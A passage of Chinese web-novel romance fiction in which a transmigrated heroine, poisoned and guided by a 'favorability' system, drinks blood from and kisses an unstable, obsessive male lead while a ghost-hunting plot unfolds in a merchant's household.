“因为你若是现在死了,我会很苦恼。” 池镜花抿唇不语,在心中默默翻译他的话。 换句话说,奚逢秋只是想从她身上得到某些东西,所以才愿意保着她的命,等到得到他想要的,就会毫不犹豫地将她舍弃。 很好,她果然不该对脑回路不正常的疯子生出过多的期待。 池镜花摊开五指,只见掌心躺着三根半截白烛。 “我只找到这些。” 奚逢秋表情温温柔柔的,“没关系,可以帮我点上吗?” 这倒没什么问题,蜡烛本就是用来照明的。 只是令池镜花感到意外的是,奚逢秋居然主动帮她举起蜡烛,而她只需将正燃这的蜡烛火苗引渡奚逢秋手上的那只即可。 完成起来相当顺利。 “好了。” 在池镜花顺利点燃蜡烛后,她笑着抬起头,不曾想她与奚逢秋居然面对面距离这么近,几乎贴着他的额头,闻见他的呼吸。 奚逢秋没有抗拒她的靠近。 他长睫轻颤,投在眼角下方的月牙阴影轻轻震颤,他的视线落在与他相隔不过两公分的少女纤细指尖,蓦然想起刚才看见的画面——池镜花在用手抚摸白鹤。 “你与小白的关系也很好吗?” 他突然开口,而且还是一个从未涉及到的话题,池镜花反应了好大一会儿才回过神。 “啊……啊?还好吧,应该挺不错的。” 在她看来,白鹤虽然不会言语,但很黏人,也能提供足够的情绪价值,对于养过小狗的池镜花来说,实在很难不喜欢。 “看来你又骗了我。” 奚逢秋微微笑着,横在二人中间的两只蜡烛映在他的双眸,眼底闪烁的烛火包裹着少女姣好的面庞。 “你不是只想跟我好,你跟谁都很好呢。” 池镜花笑容瞬间凝固。 这个男配,分明对她无感,却又莫名地占有欲极强,居然连他小宠物的醋都吃。 “谁说的?” 池镜花理不直气壮也,“正是因为我想跟你好,所以才跟小白交朋友,这样就能让你知道,跟你有关的一切我都很在意啊。” 少女眼睛亮晶晶的,鼻尖几乎是挨着他的,炙热的呼吸填满她的鼻腔,悄无声息地潜入他的五脏六腑。 他忽然莫名想要她再靠近些,可是近到什么程度却完全没有头绪。 奚逢秋偏过头,刻意回避她的视线。 “睡觉吧。” 池镜花只当他是累了,眨了眨眼睛,站起身,把人送回去。 不想他第二天一早,奚逢秋又来了,这一日,他几乎一直跟着她,但行为举止又没有夹带丝毫的情意。 这令池镜花感到十分困惑。 当天夜里,奚逢秋又在她房间里坐了很久,却没说什么话,只是低头无聊地翻着花绳,时不时地看看池镜花。 等到后半夜,皎白的月光泼进屋内,甚至于比烛火还要亮上几分,斑驳的树影投在墙面上,风一吹,变形的枝影仿佛将他们拖入一个光怪陆离的世界。 烛火即将燃尽,池镜花困意来袭,忍不住提醒:“你是不是该回去了?” 他微不可察地叹气,轻“嗯”一声,抬眸时长睫如蝶翼般颤动几下,蓝紫色的双眸凝视几秒池镜花,像是得到了什么答案后才抬步往外走。 只是还没走到门口,池镜花身体突然传来一阵奇怪的感觉。 浑身力气瞬间被抽尽,额间冒出涔涔冷汗,她只能倚靠门框才能勉强站定,眼前的画面很是模糊,骨头犹如蚂蚁啃食,这是首次出现的应是毒发了,整个人也呈现出半晕不晕的状态。 这才是最难受的。 奚逢秋没有走,他站在池镜花跟前,拦住她的去路,使得她目光所及之处,只能看见他一人。 “很难受吗?” 池镜花听见声音勉强抬头。 她看见奚逢秋正对着月光,唇角夹带浅笑,正以一种“看,这就是毒发”的眼神怜悯地望着她。 池镜花说不出话来。 她终于知道为什么奚逢秋这两天总是缠着她,原来他一直都在期待这种时刻的降临。 说是不想她死,却一直期盼她毒发,没有人比他更矛盾。 “若是你当初不要救我就不会这样了。” 奚逢秋只是神色平静地陈述事实,月华洒在他身上,树影在被风卷起的衣袂上作画。 他脑袋微垂,纤长的睫羽垂下,无意记起墓穴里池镜花的奋力一扑,似乎自那开始,这种时不时会出现的异常感觉便种在他的体内。 “我不会死,也不怕中毒。” 池镜花咬紧牙关,一字一句地宣告:“放心,我也不会死的。” 奚逢秋轻轻点头,“嗯,我也不想你死。” 不管出于什么心理,池镜花必须承认,当她听到奚逢秋这么说的时候还是挺高兴的,却无法忽略骨头吱吱作响的声音。 是了。 她在逞能。 晕眩只是前菜,真正毒发的时候,疼痛才是主菜,五脏六腑仿佛都在被虫蚁啃食,这些疼痛渗进毛孔化为虚无的冷气,致使她的体温极速下降。 生不如死的滋味实在是太不好受了。 池镜花想做点什么,可扑面而来的是的无力感。 唯有等待。 刹那间,池镜花嗅到一阵浓烈的血腥,划开包裹的清淡香味,盈满她的整个鼻腔,强势夺走她的嗅觉。 她恍惚抬头,看见奚逢秋用自己的指尖戳破脖颈的肌肤,鲜血顺着颈侧缓缓流淌,染上他的领口,缀在树影上,开出一朵朵绚丽的花。 池镜花神情呆滞,“你在……做什么?” “不要紧张,只是为了方便你取血。” 他的声音很轻很轻,稍不注意听的话,簌簌风声都能盖过他的,可一言一行无不在故意引诱她。 他似乎很擅长这种事。 池镜花吃过几次亏,绝不再想掉入这种明晃晃的圈套。 “我不会……” 不管原本要说的是什么,后面的话她都说不出口——纯粹是疼的,可意识却异常清醒。 正是这种清醒的痛才难熬。 奚逢秋垂下苍白指腹上的一滴血珠“啪”地砸向地板,溅出一道不规则的斑驳血迹。 他唇角微扬,面上带着浅笑,“我说过,你可以随时过来取我的血。” 他的确说过类似的话,但池镜花只觉得只要她往前踏出一步,取出他的一滴血,下一刻,就会被杀。 这并非她的臆想,而是她在排除所有可能性后得出的结果。 池镜花紧张地扣住门框,后背贴着门框,恨不得整个人钻进门缝里。 奚逢秋却往前一步,在与她隔着不到半个人的距离时停下。 他微微偏过头,将颈间的伤口完全暴露于她的视野,月光打在鲜红的血上,未凝结的血珠泛出幽幽的暗光。 “不要吗?” 真是够了! 他的每一个动作、每一句话都在挑战她的底线,仿佛是要将她逼入绝境,只有这样,他可能才会达到自己的目的。 不知怎地,想到这里,池镜花突然头脑一热,抓住他的肩膀,不知哪里来的力气,“噗通”一声,拼命将人扑倒在地。 停滞许久的空气为之一颤,凄冷的月光下,冷风吹拂,吹散了衣袂迅速划过黑夜时留下的一道残影。 两人之间没有任何阻碍物,池镜花的双手就这样直直地按住他的双肩,整个人几乎倒在他身上。 她微微一抬头,便瞧见奚逢秋伤口的血迹顺着脖颈向后流淌,滴在后面的地板上。 过境的冷风吹散池镜花垂落于耳侧乌黑发丝,同时唤回她的神识。 回过神来,她不由自主加大指尖力气,狠狠捏住他的双肩,似乎是想要报复他,但报复不太奏效。 奚逢秋在笑,似乎无比期待她可以取她的血,迄今为止,虽然他只是引诱,但就 差按头将血喂给她喝。 池镜花抿了抿唇,忽然很想知道,若她取了他的血,会不会真的被杀。 夜色正浓,屋内的最后一截蜡烛燃烧殆尽,啪嗒倒在桌上,四周陡然暗了下去,月色如镜,尽数倾洒在趋于重叠的身躯。 她微微俯身贴过去,咬住奚逢秋设下的圈套,可惜她没有咬的力气,所以,准确来说,她轻轻地亲了上去。 第27章 第27章古怪的癖好。 彼此交叠的乌发散落一地,少女重重落在他怀里,嫣红的唇瓣一经贴上他的颈间,铁锈血腥渗进她的口腔里,侵入她的喉咙,涌入五脏六腑。 池镜花登时愣住,反应过来后才意识到她是以亲吻的姿势将他扑倒在地。 奚逢秋完全没有抵抗的动作。 池镜花心跳速度一路加快,在做完心理建设后,小心翼翼地探出湿热的舌尖,将伤口流淌的血珠轻轻卷入口中。 然后停下仰头望他。 奚逢秋的表情很是奇怪。 他垂下的纤长浓睫止不住地颤动,隐约可见埋在苍白颈侧肌肤下的紫青色血管也在不停震颤,身体似乎很是敏感。 池镜花不明白他现在究竟是何感觉。 奚逢秋也没说过话。 当柔软的舌尖划过到他的伤口触碰到他的肌肤,引起一阵强烈的疼痛,这痛处和以前截然不同,还有其他的,可正要向四肢蔓延时却戛然而止。 不够。 远远不够。 他眼眸低垂,氤氲着雾气的双眸有些恍惚。 “池镜花,你可以继续的。” ——倒不如说,他希望她继续。 听上去,他连声音都在微不可察地颤抖,可微微上扬的尾音却彰显出他稍显愉悦的心情。 池镜花神色诧异地看着他,没想到他居然不杀她,更令她意外的是:仅是一滴血,竟能让她身体上的痛苦减少很多。 或许正如老神医说的那般:以毒攻毒能行! 月色浓稠,树影婆娑,簌簌风声掩盖了她狂乱不止的心跳。 池镜花咬了咬唇,决定趁此机会多喝两口血。 “那我继续了。” 闻言,奚逢秋轻“嗯”一声,垂下眼眸,默默偏过头,或许正如他所说的那样——为了方便她取血。 池镜花抿唇不语,只将唇瓣慢慢靠过去,在看见奚逢秋伤口周围所留下的晶莹透明的水迹时,呼吸顿时一滞,面颊一热,干脆眼不见心不烦,闭眼迅速贴了上去。 她继续探出舌尖轻舐血珠,熟练吞入肚中,当池镜花身体力气恢复时,本想狠狠咬一口当做报复,腰肢忽然传来一道外力。 是奚逢秋突然双手环抱住她,将她死死拥在怀里,似乎是嫌她离得不够近。 当两具躯体只隔着衣衫而严丝合缝地贴着对方时,少女体内和齿间的呼吸宛如一道道急而短的电流,令奚逢秋不自觉地仰起头,心跳剧烈起伏。 奇怪。 奇怪。 太奇怪了。 池镜花分明是在吸他的血,而且伤口也不是一般的疼,可却要比从前所有都更热更舒服,就跟如同以前她握住自己的手一般。 他不是想要她的手,他只想池镜花握住自己,正如他现在无比渴望这种疼痛,渴望这种接触时的这种奇妙的感觉,比做任何事情都要高兴、舒服。 这种兴奋的感觉顺着他的血管,涌入他的脑袋,“砰”的一声,轰然炸裂,又游回体内,化为渴求一切的欲望。 所以,他想要池镜花永远也不要停下,直到他血液干涸,化为森森白骨,也还是想要继续这般。 【男配好感度+5,当前好感度15/100。】 系统的电子音闯入脑中的那一刻,池镜花乌睫一颤,缓慢睁开双眸,感觉不太对劲。 她吸食他的血,他不杀她也就罢了,好感度居然提升了! 刹那间,池镜花忘记本该要做的事情,却能感受到环抱住腰肢双手牢牢地禁锢住她,奚逢秋的身体在微微发颤,似是陷入某种极致的情绪,但他没有推开他,而是想要与她贴得更紧。 是因为喜欢吗? 池镜花不理解。 但当她仔细回忆好感度第一次增加时的场景,思来想去,只觉得若“挡箭”这一举动不能提高好感度的话,那就是被她推倒? 他难道喜欢被人扑倒? 这是什么古怪的癖好? 池镜花大为震撼。 风声飒飒,盖过一切杂音和少年呼吸微弱的喘|息声。 池镜花却听不见任何声音。 她默默试着在两次好感度增加的节点上找共同点,惊讶地发现除了“推倒他”这一处相似以外,由于种种原因,他们在身体上都有着或多或少的接触。 是不是能够说明,在这种情况下的亲密接触也能获取他的好感度呢? 而且,他曾明确表明对她的手很感兴趣。 以前,池镜花只当是疯子的怪癖,现在一想,也许是无意中她做了什么使得奚逢秋对她的双手产生了兴趣。 她决定试试,没有什么比现在更合适。 耳畔呼啸的冷风不止何时停了,呼吸交织心跳,如绚烂明亮的烟花划过黑夜,坠落的火星照亮彼此。 池镜花骤然停下动作,她抬起头,红润的唇上还残留着鲜红的血迹,像是刚染上的鲜艳口脂,镇定地唤他一声姓名。 “奚逢秋。” 当柔软逐步离开他的颈间时,少年铺满水雾的眼底只剩迷茫和不知足。 “怎么了?” 池镜花深吸一口气,表情依旧镇定自若。 “你能闭上眼睛吗?” 奚逢秋神色不解,“为何要闭眼?” 池镜花无法解释,因为她对接下来自己要做的事情难以启齿。 她干脆双手交叠,毫不犹豫地捂住他的双眼,在亲上他唇瓣的前一秒,心里冒出个大胆的念头。 ——若是被蒙住眼睛的话,他是不是会更喜欢? 下一刻,少女笨拙地含住了他的唇瓣。 一股脑钻进鼻腔的清香更浓,伴随着奚逢秋身上的凉意靠近,似要将她淹没河底。 池镜花有一瞬间的恍惚,回过神来,发觉腰间的十指扣得更紧,被她压在身上的少年似乎已经濒临极限。 他的身体犹如蝶翼般颤抖,瞬间整个人陷入一种无助又兴奋的状态。 池镜花依旧与他保持着唇齿相依的状态。 她在努力回忆电视剧里男女主的亲吻技巧,但是好难,她只会用唇瓣去碰他的,接下来要怎么做? 而奚逢秋,显然也是个没有经验的主,根本指望不上他。 池镜花只好自己瞎琢磨。 她尝试以舌尖抵住他的唇,想要勾出他的。 似是察觉到她的意图,奚逢秋主动微微张口,不曾想,在碰到他的刹那,池镜花以闪电般的速度缩回,心脏剧烈跳动,分明有冷风灌入,可她整个人犹如被碳火烤过一般。 不行。 她实在学不会。 池镜花想放弃了。 就在此时,系统提示音再次响起。 【男配好感度+10,当前好感度25/100。】 【任务进度1/4,请宿主再接再厉!】 果然。 他就是喜欢这样。 或许连他自己都不知道,越是强制,越是亲密,就越能获取他的好感。 虽然还没学会如何与他亲密接吻,但目的已然达到。 池镜花果断离开他的唇瓣,放下盖住他双眼的手臂,赶紧从他怀里挣脱,刚刚恢复的力气又在亲吻中耗尽,只好虚脱地坐在一旁,颤颤垂下眼眸,不敢直视他的眼睛。 躺在地上的少年虽然重见光明,可唇上眷恋的温柔不再。 不多时,弥漫在眼底的雾气逐渐消退,奚逢秋这才慢慢坐起。 他以指腹微微按住脖颈的伤口试图暴力止 血,可却感受到一阵残留的滚烫气息,似是她的“杰作”。 微风扬起少女的几缕耳鬓微凉发丝,悄然划过他的脸侧,挂在他的肩上。 奚逢秋稍稍偏头,看见少女嘴角残存的一丝血迹,想到刚才她的意外举动,不由疑惑地歪过脑袋,佩在左耳的耳铛坠了下。 “好奇怪,你方才为何要亲我?” 他就这么问了出来,直白程度令人瞠目结舌。 池镜花猛地扭头,张了张口,什么话也说不出。 当她的视线停留在奚逢秋的唇角,瞥见那一抹痕迹——是她没有经验胡乱尝试所留下的。 池镜花决定以问题回答问题。 “可你也没有推开我,不是吗?” “嗯,我没有推开你。” 月色倾洒在他的衣上,泛着银白色的碎光。 奚逢秋轻轻点头,对她的话语表示高度认可,可是话锋一转,话题再度回到最开始的问题上。 “可你还是没有回答我的问题,为何要亲我?” 池镜花紧咬下嘴唇,低头盯着摇摇晃晃的模糊树影,一昧地沉默不语。 眼见问不出个结果来,奚逢秋不再刨根问底,索性换个问题。 “你对所有人都这样吗?” 主动献吻本来就难为情,他偏偏揪着这件事问个不停。 池镜花气也不是,只好轻轻摇头,实话实说:“不是,没有,我只亲过你。” 奚逢秋微不可闻地“嗯”了声,眼睫低垂,也不知在想什么。 不多时,残风卷起落叶,落叶停在他脚边,融于暗暗夜色。 奚逢秋缓缓抬眸,目光驻足她脸颊。 “你现在看起来似乎好多了。” 他没说错,以毒攻毒确实很效果,池镜花打算明天等忙完手里的事情后再去趟医馆,让老神医把把脉。 池镜花重重点头,旋即露出一抹灿烂笑容。 “嗯,是好很多了,谢谢你愿意让我取血啊,奚逢秋。” 奚逢秋也在温柔地笑,不过眼底却漂浮一层不易察觉的兴奋之情, “那下次取血时要咬唇瓣吗?” 咬唇瓣? 是要她亲他的意思吗? 池镜花又不傻,瞬间明白他意有所指,也许连他自己都没意识到,但她决定跟他学——直接问! 不知是何时辰,不过此时皓月当空、明月如水,缓缓流淌的皎洁月光如银河流光泼在二人衣间,映出院中重重交叠的枝影。 池镜花双手按住光洁地板,被支撑的躯体骤然向他靠近,如玉的鼻尖几乎挨着他的,任由两人吐纳的气息不分彼此地交缠融合,她抬起亮晶晶的双眸,眼底盛满求知欲。 “那你喜欢与我亲吻吗?” 第28章 第28章牵了一整晚的手。 “那你喜欢与我亲吻吗?” 声音掷地的瞬间,池镜花犹如趟过油锅,面颊滚烫,呼出的气息都灼人身心,心跳声震耳欲聋,她只能强装镇定,神情期待地凝望着对面。 虽然好感度的的确确地上涨了,但池镜花更想要他亲自说出口。 四周静得出奇,只有枝叶残影绰绰约约流转在二人衣间,空气中弥漫着的香气更浓。 池镜花分明只等不到一分钟时间,却仿佛过去一个世纪那么长,她甚至考虑是不是应该再问一遍。 忽然间,一声轻笑如鸿毛微微拂过她的耳廓。 少年眉眼含着浅笑,被她亲过而残留殷红血的薄唇微微扬起。 “你亲我的时候很有意思。” 有意思? 不是喜欢? 池镜花忽然记起他也是这么评价悬赏司的官吏。 所以说……就算好感度提升了,他看她就跟看悬赏司的官吏一样? 这是不是不太对劲啊? 还是说他只是因为没有这方面的经验所以分不清喜欢和好奇? 不清楚啊。 完全没有头绪。 池镜花低低地“哦”了一声,轻轻揉捏了下双颊,避免在他面前露出过于失望的表情,以免又被他察觉出什么端倪。 此时此刻,奚逢秋正缓慢地朝她伸出右手,掌心朝上,朦胧月色下的修长五指近乎透明,隐约可见埋在皮肤下的紫青色血管。 “可以吗?” 池镜花指尖一顿,大抵明白他的意思,但还是有些犹豫。 “不可以吗?” 见她迟迟未动,少年略微歪了下脑袋,耳铛随之晃了下,映出淡淡月华,表情很是疑惑。 饶是如此,他也没有强行上手,而是很有礼貌地扮出温顺可怜的样子博取她的好感。 他似乎对这种事情也很擅长。 池镜花抿了抿唇,实在是吃他这一套,只能问道:“你是要我的手还是要我握住你的手?” 月光落在他苍白如雪的侧脸,奚逢秋沉吟片刻,长睫掀开,眉宇间温柔似水。 “我想应该是后者。” 果然。 他当时说要她双手的那句话或许是有歧义的,比起砍下她的手,也许他更想要牵手。 池镜花没有应声,而且探出手握住了他的食指。 微凉的指尖紧紧贴着她的肌肤,无声地攫取她的体温。 奚逢秋望着二人的手指,没动。 在察觉到没有威胁后,池镜花大着胆子触碰第二根、第三根……直到十指相扣,严丝合缝到不分彼此。 池镜花抬起头,看见奚逢秋在笑,照进漂亮少年眼底的月光如点点流光,映出他们交叠缠绕的指尖。 他似乎很满意她的靠近,却道不清这种情绪究竟是好奇还是喜欢。 真是奇奇怪怪。 就在她出神的时候,奚逢秋已主动握住她的手,指腹轻轻摩挲过她的手背,徒留一片清凉的痒意。 池镜花忍着痒意不好意思立即抽回手指,而且若是乱动的话,说不定会扯着他的手指将他一并拉过来。 “要牵到什么时候?” 虽然才过去不到一分钟,但池镜花还是直接问了出口,也设想过奚逢秋可能会生气,但她已经想好对策——大不了就跟之前一样糊弄过去。 令人意外的是,奚逢秋既没生气也不松手,而是态度温和地冲她弯了弯眼睛,左耳的血滴耳铛清晰映出少女身后模糊的树影。 “若是累的话,可以靠着我。” 靠着他? 这倒是个从未设想过的展开。 要是放在平时,池镜花压根不太敢轻易靠近他,但眼下既是他自己提出来的,她必然不会放过这么好可能会提升好感度的机会。 池镜花眨了两下眼睛,一步步向他靠近,调整好距离和位置后,脸颊微微向他靠去,挨着他的肩膀,全身紧绷不敢乱动。 似是察觉到她的呼吸不成规章,少年眉眼低垂,鸦黑睫羽下的双眸潜着柔和的碎光,十分轻声耐心安抚道:“不要紧张,可以再近些,没关系的。” 字字句句都像是在引导着她一般,有点过分地好说话了。 但确实没有任何杀意。 “好……好。” 池镜花按下心中疑虑,索性钻进他怀里,脸颊贴着他的心口,顿时,一股熟稔地清香扑面而来。 好香。 好喜欢。 池镜花忍不住狠狠吸了两口,被香气所吸引而无意识地仰头,一步步向上而去,却不小心令鼻尖蹭上他的侧颈肌肤,唇瓣擦过颈侧,差点亲了上去。 回过神来的池镜花睁大双眼,只看见少年长睫如蝶尾微颤抖,平稳的呼吸也被彻底打乱了。 即便如此,他也没有松手要她离远点,但也没有增加好感度的迹象。 池镜花忙尴尬致歉:“对不起,我不会再乱动了。” 奚逢秋只轻轻道了声“无妨”便垂下眼眸,静静注视二人紧紧相握的十指,但也只是握着,没再做别的。 四周归于宁静,偶有微风卷起落叶的沙沙声。 池镜花早已困意满满,虽然她强迫自己保持清醒,但在清香萦绕、没有任何危险因素的环境下,硬撑是没用的,她很容易就睡着了。 当她闭眼以后,一直施加在指尖的力气慢慢消退,同时,察觉到怀中传来均匀的呼吸,奚逢秋垂下眼眸,看见少女微卷的浓睫正在轻轻打颤,显然已经入梦。 他的颈间还是热的,少女的残留体温附在上面,手也是柔软暖和的。 像是找到什么有趣的事情,他握住她的手指不停摩挲。 可以砍下来吗? 好 想收藏起来,永远带在自己身边。 当产生这一想法后,怀侧少女呼吸突然加重,睫羽不停颤动,嘴唇微微抿起,像是做起了噩梦。 奚逢秋抬起一手覆上她的发丝,指尖轻柔地安抚着。 池镜花却颤得更厉害。 见状,奚逢秋尝试敛去流露的杀意。 不多时,少女便眉头舒展,情绪逐渐稳定。 奇怪的人。 少年勾住她的手指轻轻捏了下,暂时压制住内心汹涌的杀意。 夜色愈浓,树影婆娑。身后屋内蜡烛的烟火气息早已消散,只剩一片漆黑,门前月华倾泻而下,铺满整个庭院。 少年轻轻抵着她的脑袋合上双眼。 翌日清晨,阳光明媚,清风徐徐。 ——是他们来到袁府的第七天。 一整夜没怎么睡觉的赵星澜打着哈欠推开客房的门,扭头瞥见远处坐在门口木板上相互依偎、亲密无比的两人,脸“唰”地一下红了,赶紧把门关上。 “砰”地一声,直接吓醒池镜花。 她转过头,看见奚逢秋早就醒了,但他们的手指还是相连着的,也就是说,他们牵了一整晚的手。 池镜花立即抽回手指,发现手背上出现一些不太明显的浅色红痕。 是握得太紧了吗? 池镜花不由疑惑地望过去。 温暖的日光照进少年的双瞳,晕出一层淡金的碎光,他微微笑着,如画的眉眼只有在面对池镜花的视线时,才露出几分疑惑之情。 “怎么了?” 池镜花实话实话:“就是……下次能别握得这么紧吗?” 少年笑问:“还有下次吗?” 池镜花思索片刻,无比肯定地点头,“嗯,你要是想牵我的手,我会让你牵的。” 只要不是想砍下她的双手就好,牵手什么的都是小事。 说起这个,她总觉得昨晚好像感受到一阵无名的杀意。 但她现在双手还在。 所以是梦吗? 铺在奚逢秋眼底的细光逐渐演变为困惑,他微微歪头,耳铛划过颈侧时,露出“年年”两个小字。 “为什么?” 池镜花不急不躁地解释:“不是说过的嘛,因为我想跟你好。” 又是这句话。 奚逢已经听了似乎不下三遍,他依旧想不明白池镜花为何要讨好他,会是跟母亲一样那般利用他吗? 但他对她只有好奇。 奚逢秋微微低着头,垂下的长睫眸地遮住流转的情绪,却情不自禁地低声喃喃自语:“我只是很好奇……” 唉,随便他怎么想吧。 男配真难搞。 池镜花在心底叹口气,爬起来拍两下身上的尘土,走到赵星澜房间门口,叩了两下门。 不多时,赵星澜打开房门,不知为何脸颊泛着红意,目光躲躲闪闪,说起话来也是结结巴巴的。 “哦……哦,赵某刚起来,什么都没看见,二位有什么事吗?” 池镜花虽然觉得今日的男主看起来有些奇怪,但并未多问,只挑重要的事情说。 “赵道长,今天是跟袁老板约定的最后一天,衣服鬼还是没有现身,我们是不是应该主动出击?” “哦……对,是有这么回事。” 谈及正经事,赵星澜脸上的红温迅速退下,他迅速回到房间,拾起玉佩,接着从桌子上抽出一张草纸,对池镜花说:“昨夜我已制定了详细的捉鬼计划,不过还得通知一下袁老爷和袁夫人,二位也一并来吧。” “嗯,好。” 池镜花点点头,没想到赵星澜关键时刻这么靠谱,真不愧是作者钦点的男主。 随着赵星澜的身影逐渐远去模糊,池镜花走到奚逢秋身旁。 日光倾洒而下,几道树影落于肩头,枯叶盘旋于脚边,他正垂头不语,不知在想什么。 池镜花深吸一口气,吃力地踮起脚尖,附在他耳旁,鼓足勇气轻声吐纳气息。 “要牵手吗?” 看似是疑问句,其实池镜花已经悄悄用小指轻轻勾住了他的。 像是被灼到了一般,少年指尖微微一颤。 他垂眸凝视着少女纤细的小指,不禁低低开口。 “池镜花。” 被唤到姓名的池镜花不明所以地“嗯?”了一声,正当她以为会不会是他不喜欢不打招呼就靠近,下一刻,奚逢秋忽然予以回应,牢牢勾住了她的小指。 他的声音很低很低,夹杂难以言喻的情感,像是漂浮海上多日好不容易才抓住一根浮木,给予生的希望,阔别死的气息。 “不要放手啊。” 第29章 第29章别说话,会被人听到的。…… 清晨温暖的日光洒在两人交缠相扣的十指,投在地面上暧昧阴影穿过无数枝影,向着前方缓缓移动。 和男配牵手这件事虽是池镜花主动的,但还是有点难为情,她只能尽量转移注意力,可始终无法忽视萦绕在指尖的凉意,贴着肌肤四溢,令她下意识握得更紧。 池镜花忍不住几次偷偷扭头。 微微日光落在少年纤长的眼睫,投在眼睑下方的月牙忽而闪动,他唇角微微扬起,在捕捉到她的视线时,铺在眼底的浅金色碎光漾出清润的笑。 池镜花却觉得相当奇怪,实在不清楚他的这种情绪情感究竟出于好奇还是喜欢。 她轻轻垂下浓睫,目光随着愈发靠近的两道人影而动,直到跟着男主一道来到袁府膳厅才慢慢松手。 当她尝试敛去力气,忽然感知到奚逢秋的指尖微微一颤,似是下意识想要抓住她的,只是不知为何,终是放弃了。 抽出五指后,池镜花偏头看了他一眼,只见奚逢秋神色如常,双眸平静如水,面上半分情绪波澜都无。 池镜花实在不知道他在想什么,眼看到了膳厅,只好作罢。 宽敞明亮的膳厅里,袁老板跟袁夫人正面对面坐着用早餐,是站在袁夫人身后的小鱼最先注意到他们,她朝几人抿唇一笑,手脚麻利地正要替他们摆放碗筷,就在此时,袁老板突然“啪”地一下狠拍下小鱼的手背,瞪了她一眼。 被拍红了手掌的小鱼只好悻悻躲在袁夫人身后。 一见到他们,袁老板便阴阳怪气没个好脸色。 “没抓到女鬼,几位是来辞行的吗?” “不是。” 赵星澜微微笑着,看上去天生就是一副好脾气的模样,“我来是想请袁老爷帮个忙——找人下墓穴将女鬼生前的尸体运到这里来。” 袁老板脸色一黑,“啪”地一下愤怒的将筷子摔在饭桌上,“你疯了!要把女尸运到这里来,当我袁府是什么地方!” “袁老爷,你先不要动怒。” 赵星澜好声好气地继续道:“这几日,赵某已仔细调查过,这女鬼生前是大户人家的小姐,死状极其诡异,据说是被活生生剥下皮肤而亡,在她死后,她的父母利用邪门歪道给为她种下还魂术,令她魂魄不散,久而久之这才附身红嫁衣,成了衣服鬼。” “据上次我们与她的交锋可知,这女鬼如今对漂亮女子的皮囊最为在意,极有可能与她的死因有关,既然她那么在意自己的起因,那么我们只需将她的尸首带到这里来,她八成会现身,届时,赵某自有收服她的办法。” 赵星澜将自己所掌握到的信息娓娓道来,袁老板却气得吹胡子瞪眼,“就算如此,那也不能把尸首弄到家里来,像什么话!” “袁老爷……” 约摸是赵星澜还想说些什么,只不过话未说尽,袁夫人目光一闪,漆黑的眼珠转向赵星澜,脸色依旧不是很好。 “道长,这样真的可行吗?” 窗棂边的日光打在赵星澜的侧脸,叫他看上去神采奕奕。 “我可以向你保证,绝对可行。” “你们——!!” 见赵星澜跟袁夫人两人一问一答全然不理会自己,袁老板气不打一处来,正要拍案而起,不料袁夫人比他反应更快,她一个站起,不知从哪掏出一把刚开刃的匕首,直挺挺地抵着袁老板的咽喉。 “闭嘴!” 袁夫人一双漆黑的爆裂眼珠死死绞住袁老爷,看着瘦弱有时候力气却很大,泛白指尖向前推进半寸,一滴滚烫的血珠从袁老板的脖间溅落瓷碗,滚进他面前的粥里。 “孩子保不住不是我的错,你为何就是不信我呢!我说了有鬼,你为何偏偏不让道士驱鬼,是你!是你不让道士进门!都是因为你!是你!分明是你害了我的孩子!” 顿时,袁老板吓白了脸,颤颤巍巍地举起双手,遍布丑陋皱纹的额间冒出浑浊冷汗,生怕袁夫人一个激动刺进半分他小命难保。 “好好好,我知道了,我知道了,夫人,你先把刀放下,不就是运一具尸体回来吗?运十具都行,只要你们喜欢就好。” “嗯,我就知道相公最好了。” 袁夫人娇羞地低下头咧嘴笑了声,利落地将匕首藏进袖中,朝门口的几人鞠了一躬,苍白的脸颊带着微笑道:“那就麻烦几位道长了。” 赵星澜受宠若惊,甚至还未从刚才看见的一切中回过神,手忙脚乱地摆摆手,“不客气不客气,袁夫人不用客气的。” 站在一旁许久未曾开口的池镜花眨了眨眼睛。 她总觉得袁夫人变了很多,尽管依旧很疯,但跟之前抱着袁老板大腿求饶时很不一样。 正想着,袁夫人已踢开凳子走到她跟前。 鉴于之前袁夫人拿柴刀砍她一事尚有阴影,池镜花下意识地往奚逢秋身旁靠了靠。 袁夫人取出一张平安符,眉眼划开个温柔的笑,“池姑娘,这个是给你的,听闻你生病了,这是我特地从庙里求来的,可保佑你平平安安渡过此劫。” 池镜花犹豫接过,“……谢谢夫人。” 袁夫人继续笑着,脸色虽毫无血色,但光线透过双眸,看上去比以往都有生机的多。 “之前的事情是我不对,还望姑娘可以原谅我。” 池镜花轻“嗯”一声算作回应。 其实,这件事老早就过去了,她也没因袁夫人受过伤,况且,袁夫人还真诚道歉了,没道理一直抓着不放。 袁夫人感慨道:“看来池姑娘不仅聪明,也很善良呢。” 被人这样当众夸奖,池镜花不好意思地歪头挠脸,视线无意撞上站在身侧的奚逢秋。 他一直很安静没怎么说话,灼灼目光似乎一直落在她身上,见她回望,少年蓦地弯了弯蓝色的双眸,露出一个温淡的笑容。 “嗯,我也这么觉得。” 分明是好词,但经男配嘴里这么一说,总觉得有些别扭,许是因为之前的固有印象。 池镜花抿唇不说话,转过头看见赵星澜弯腰行一礼,听见他说:“那袁老爷,袁夫人,没事的话,我们就先走了,女尸的事情还麻烦你们那边安排一下人手,最好是在上午运回来。” 袁夫人微笑回应:“自然。” 待他们离开后,膳厅忽然传来袁老爷不悦的低声,混杂在簌簌风声当中,划过池镜花的耳畔。 “奇怪,怎么这些天都没见到管家?这老东西,预支了一年的工钱,不会是跑了吧。” 听到这话,池镜花一个激灵,想起前几日雨夜发生的一切,看也没看,却能准确无误地抓住身侧之人的手腕。 顿时,一股温热覆上,少年指尖一顿,垂眸望向少女紧紧握住他的手指,唇畔不自觉地笑了笑,有些高兴她能够再次握住他,所以他在配合她的拖拽。 池镜花毫无察觉,只想带着他快步离开膳厅,却也不忘跟赵星澜打招呼。 “对不起,赵道长,我们还有点事,你先回去吧。” 她的脚步很快,语速更快,赵星澜却盯着二人逐渐远去的背影满脸困惑。 ——不是说关系不好嘛,怎么整日拉拉扯扯的?这到底是好还是不好呀? 躲在玉佩里的纪望慕在与他心意相通后,“噗嗤”笑了出来,“真是个傻道士。” 赵星澜更加迷糊,实在厘不清他们二人之间的复杂关系。 同样头疼的还有池镜花。 下雨的那个夜晚,她因生气奚逢秋拿她当做诱饵所以一走了之,压根没注意奚逢秋后来有没有处理好管家的脑袋,如今管家几天都没出现,袁老爷发现不对劲必定要找人。 她得赶在袁老爷发现管家的头颅之前将其处理了。 